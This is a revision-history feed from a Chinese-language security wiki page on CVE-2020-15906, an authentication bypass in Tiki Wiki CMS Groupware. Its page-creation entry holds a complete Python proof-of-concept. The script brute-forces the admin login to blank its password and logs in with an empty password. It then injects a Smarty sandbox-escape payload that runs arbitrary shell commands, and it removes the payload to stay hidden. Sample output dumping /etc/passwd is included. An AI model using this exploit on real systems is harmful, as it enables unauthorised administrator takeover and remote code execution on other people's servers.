<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-15906_Tiki_Wiki_CMS_Groupware_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-15906 Tiki Wiki CMS Groupware 認證繞過漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-15906_Tiki_Wiki_CMS_Groupware_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-15906_Tiki_Wiki_CMS_Groupware_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-05T11:09:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-15906_Tiki_Wiki_CMS_Groupware_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=5904&amp;oldid=prev</id>
		<title>Pwnwiki: Marked this version for translation</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-15906_Tiki_Wiki_CMS_Groupware_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=5904&amp;oldid=prev"/>
		<updated>2021-06-25T06:48:08Z</updated>

		<summary type="html">&lt;p&gt;Marked this version for translation&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 06:48, 25 June 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==漏洞描述==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==漏洞描述== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;!--T:1--&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;&amp;lt;!--T:2--&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Tiki Wiki CMS Groupware或簡稱為Tiki（最初稱為TikiWiki）是一種免費且開源的基於Wiki的內容管理系統和在線辦公套件。在如下這些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一處邏輯錯誤，管理員賬戶被爆破60次以上時將被鎖定，此時使用空白密碼即可以管理員身份登錄後台。&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Tiki Wiki CMS Groupware或簡稱為Tiki（最初稱為TikiWiki）是一種免費且開源的基於Wiki的內容管理系統和在線辦公套件。在如下這些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一處邏輯錯誤，管理員賬戶被爆破60次以上時將被鎖定，此時使用空白密碼即可以管理員身份登錄後台。&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響範圍==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響範圍== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;!--T:3--&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;16.x - 21.1&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;16.x - 21.1&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-5903:rev-5904 --&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-15906_Tiki_Wiki_CMS_Groupware_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=5903&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;languages /&gt; &lt;translate&gt; ==漏洞描述== &lt;/translate&gt; &lt;translate&gt; Tiki Wiki CMS Groupware或簡稱為Tiki（最初稱為TikiWiki）是一種免費且開源的基於Wiki的...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-15906_Tiki_Wiki_CMS_Groupware_%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=5903&amp;oldid=prev"/>
		<updated>2021-06-25T06:47:10Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;languages /&amp;gt; &amp;lt;translate&amp;gt; ==漏洞描述== &amp;lt;/translate&amp;gt; &amp;lt;translate&amp;gt; Tiki Wiki CMS Groupware或簡稱為Tiki（最初稱為TikiWiki）是一種免費且開源的基於Wiki的...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==漏洞描述==&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
Tiki Wiki CMS Groupware或簡稱為Tiki（最初稱為TikiWiki）是一種免費且開源的基於Wiki的內容管理系統和在線辦公套件。在如下這些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一處邏輯錯誤，管理員賬戶被爆破60次以上時將被鎖定，此時使用空白密碼即可以管理員身份登錄後台。&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==影響範圍==&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
16.x - 21.1&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
python poc.py &amp;lt;target&amp;gt; / id&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
Tiki Wiki CMS GroupWare Serverside Template Injection Remote Code Execution Vulnerability&lt;br /&gt;
This is a demonstration of CVE-2021-26119 (Smarty Template Engine template_object Sandbox Escape PHP Code Injection)&lt;br /&gt;
Written by: Steven Seeley of Qihoo 360 Vulcan Team&lt;br /&gt;
Exploit tested against: Tiki Wiki 20.3 (Tarazed)&lt;br /&gt;
Bug 1: CVE-2020-15906&lt;br /&gt;
    - An unauthenticated user can bypass the authentication by bruteforcing the admin account &amp;gt; 50 times and login with a blank password&lt;br /&gt;
    - Works on: &amp;lt;= 21.1 (UY_Scuti)&lt;br /&gt;
    &lt;br /&gt;
Bug 2: CVE-2021-26119 &lt;br /&gt;
    - An admin user can trigger a serverside template injection and gain remote code execution by escaping the sandbox of the Smarty Template Engine by leveraging the 'template_object' property&lt;br /&gt;
    - Works on: &amp;lt;= 22.2 (Corona_Borealis) and impacts Smarty &amp;lt;= 3.1.38 (latest)&lt;br /&gt;
# Notes&lt;br /&gt;
- *WARNING* This exploit will lock out the administrator account&lt;br /&gt;
- It was possible in older versions of Tiki Wiki (including 20.3) that you could:&lt;br /&gt;
  1. Edit Smarty templates with a user that had the 'tiki_p_edit_templates' privilege, but Tiki clued into this and has since disabled this 'feature' by default, see using [Risky preferences](https://doc.tiki.org/Risky-Preferences)&lt;br /&gt;
  2. Disable the Smarty sandbox entirely by unchecking the &amp;quot;Smarty Security&amp;quot; checkbox in the general security tab which is no longer possible.&lt;br /&gt;
  However it's still possible for an admin (or user with the 'tiki_p_admin' permission assigned) to add Smarty template syntax to the 'feature_custom_html_head_content' option under [Customization](http://doc.tiki.org/Customization) in the [Look and Feel](http://doc.tiki.org/Look-and-Feel) control panel menu. This is enough for attackers to escape the Smarty sandbox leveraging either CVE-2021-26119 or CVE-2021-26120 and execute arbitrary remote code.&lt;br /&gt;
# Example&lt;br /&gt;
researcher@incite:~/tiki$ ./poc.py&lt;br /&gt;
(+) usage: ./poc.py &amp;lt;host&amp;gt; &amp;lt;path&amp;gt; &amp;lt;cmd&amp;gt;&lt;br /&gt;
(+) eg: ./poc.py 192.168.75.141 / id&lt;br /&gt;
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id&lt;br /&gt;
researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ &amp;quot;id;uname -a;pwd;head /etc/passwd&amp;quot;&lt;br /&gt;
(+) blanking password...&lt;br /&gt;
(+) admin password blanked!&lt;br /&gt;
(+) getting a session...&lt;br /&gt;
(+) auth bypass successful!&lt;br /&gt;
(+) triggering rce...&lt;br /&gt;
uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;br /&gt;
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux&lt;br /&gt;
/var/www/html/tiki-20.3&lt;br /&gt;
root:x:0:0:root:/root:/bin/bash&lt;br /&gt;
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin&lt;br /&gt;
bin:x:2:2:bin:/bin:/usr/sbin/nologin&lt;br /&gt;
sys:x:3:3:sys:/dev:/usr/sbin/nologin&lt;br /&gt;
sync:x:4:65534:sync:/bin:/bin/sync&lt;br /&gt;
games:x:5:60:games:/usr/games:/usr/sbin/nologin&lt;br /&gt;
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin&lt;br /&gt;
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin&lt;br /&gt;
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin&lt;br /&gt;
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin&lt;br /&gt;
# References&lt;br /&gt;
- Maximilian Barz's poc at https://github.com/S1lkys/CVE-2020-15906&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import re&lt;br /&gt;
 &lt;br /&gt;
def auth_bypass(s, t):&lt;br /&gt;
    d = {&lt;br /&gt;
        &amp;quot;ticket&amp;quot; : &amp;quot;&amp;quot;,&lt;br /&gt;
        &amp;quot;user&amp;quot; : &amp;quot;admin&amp;quot;,&lt;br /&gt;
        &amp;quot;pass&amp;quot; : &amp;quot;trololololol&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
    h = { &amp;quot;referer&amp;quot; : t }&lt;br /&gt;
    d[&amp;quot;ticket&amp;quot;] = get_ticket(s, &amp;quot;%stiki-login.php&amp;quot; % t)&lt;br /&gt;
    d[&amp;quot;pass&amp;quot;] = &amp;quot;&amp;quot; # blank login&lt;br /&gt;
    r = s.post(&amp;quot;%stiki-login.php&amp;quot; % t, data=d, headers=h)&lt;br /&gt;
    r = s.get(&amp;quot;%stiki-admin.php&amp;quot; % t)&lt;br /&gt;
    assert (&amp;quot;You do not have the permission that is needed&amp;quot; not in r.text), &amp;quot;(-) authentication bypass failed!&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
def black_password(s, t):&lt;br /&gt;
    uri = &amp;quot;%stiki-login.php&amp;quot; % t&lt;br /&gt;
    # setup cookies here&lt;br /&gt;
    s.get(uri)&lt;br /&gt;
    ticket = get_ticket(s, uri)&lt;br /&gt;
    d = {&lt;br /&gt;
        'user':'admin', &lt;br /&gt;
        'pass':'trololololol',&lt;br /&gt;
    }&lt;br /&gt;
    # crafted especially so unsuccessful_logins isn't recorded&lt;br /&gt;
    for i in range(0, 51):&lt;br /&gt;
        r = s.post(uri, d)&lt;br /&gt;
        if(&amp;quot;Account requires administrator approval.&amp;quot; in r.text):&lt;br /&gt;
            print(&amp;quot;(+) admin password blanked!&amp;quot;)&lt;br /&gt;
            return&lt;br /&gt;
    raise Exception(&amp;quot;(-) auth bypass failed!&amp;quot;) &lt;br /&gt;
 &lt;br /&gt;
def get_ticket(s, uri):&lt;br /&gt;
    h = { &amp;quot;referer&amp;quot; : uri }&lt;br /&gt;
    r = s.get(uri)&lt;br /&gt;
    match = re.search('class=&amp;quot;ticket&amp;quot; name=&amp;quot;ticket&amp;quot; value=&amp;quot;(.*)&amp;quot; \/&amp;gt;', r.text)&lt;br /&gt;
    assert match, &amp;quot;(-) csrf ticket leak failed!&amp;quot;&lt;br /&gt;
    return match.group(1)&lt;br /&gt;
 &lt;br /&gt;
def trigger_or_patch_ssti(s, t, c=None):&lt;br /&gt;
    # CVE-2021-26119&lt;br /&gt;
    p = { &amp;quot;page&amp;quot;: &amp;quot;look&amp;quot; }&lt;br /&gt;
    h = { &amp;quot;referer&amp;quot; : t }&lt;br /&gt;
    bypass = &amp;quot;startrce{$smarty.template_object-&amp;gt;smarty-&amp;gt;disableSecurity()-&amp;gt;display('string:{shell_exec(\&amp;quot;%s\&amp;quot;)}')}endrce&amp;quot; % c&lt;br /&gt;
    d = {&lt;br /&gt;
        &amp;quot;ticket&amp;quot; : get_ticket(s, &amp;quot;%stiki-admin.php&amp;quot; % t),&lt;br /&gt;
        &amp;quot;feature_custom_html_head_content&amp;quot; : bypass if c else '',&lt;br /&gt;
        &amp;quot;lm_preference[]&amp;quot;: &amp;quot;feature_custom_html_head_content&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
    r = s.post(&amp;quot;%stiki-admin.php&amp;quot; % t, params=p, data=d, headers=h)&lt;br /&gt;
    r = s.get(&amp;quot;%stiki-index.php&amp;quot; % t)&lt;br /&gt;
    if c != None:&lt;br /&gt;
        assert (&amp;quot;startrce&amp;quot; in r.text and &amp;quot;endrce&amp;quot; in r.text), &amp;quot;(-) rce failed!&amp;quot;&lt;br /&gt;
        cmdr = r.text.split(&amp;quot;startrce&amp;quot;)[1].split(&amp;quot;endrce&amp;quot;)[0]&lt;br /&gt;
        print(cmdr.strip())&lt;br /&gt;
 &lt;br /&gt;
def main():&lt;br /&gt;
    if(len(sys.argv) &amp;lt; 4):&lt;br /&gt;
        print(&amp;quot;(+) usage: %s &amp;lt;host&amp;gt; &amp;lt;path&amp;gt; &amp;lt;cmd&amp;gt;&amp;quot; % sys.argv[0])&lt;br /&gt;
        print(&amp;quot;(+) eg: %s 192.168.75.141 / id&amp;quot;% sys.argv[0])&lt;br /&gt;
        print(&amp;quot;(+) eg: %s 192.168.75.141 /tiki-20.3/ id&amp;quot; % sys.argv[0])&lt;br /&gt;
        return&lt;br /&gt;
    p = sys.argv[2]&lt;br /&gt;
    c = sys.argv[3]&lt;br /&gt;
    p = p + &amp;quot;/&amp;quot; if not p.endswith(&amp;quot;/&amp;quot;) else p&lt;br /&gt;
    p = &amp;quot;/&amp;quot; + p if not p.startswith(&amp;quot;/&amp;quot;) else p&lt;br /&gt;
    t = &amp;quot;http://%s%s&amp;quot; % (sys.argv[1], p)&lt;br /&gt;
    s = requests.Session()&lt;br /&gt;
    print(&amp;quot;(+) blanking password...&amp;quot;)&lt;br /&gt;
    black_password(s, t)&lt;br /&gt;
    print(&amp;quot;(+) getting a session...&amp;quot;)&lt;br /&gt;
    auth_bypass(s, t)&lt;br /&gt;
    print(&amp;quot;(+) auth bypass successful!&amp;quot;)&lt;br /&gt;
    print(&amp;quot;(+) triggering rce...\n&amp;quot;)&lt;br /&gt;
    # trigger for rce&lt;br /&gt;
    trigger_or_patch_ssti(s, t, c)&lt;br /&gt;
    # patch so we stay hidden&lt;br /&gt;
    trigger_or_patch_ssti(s, t)&lt;br /&gt;
 &lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>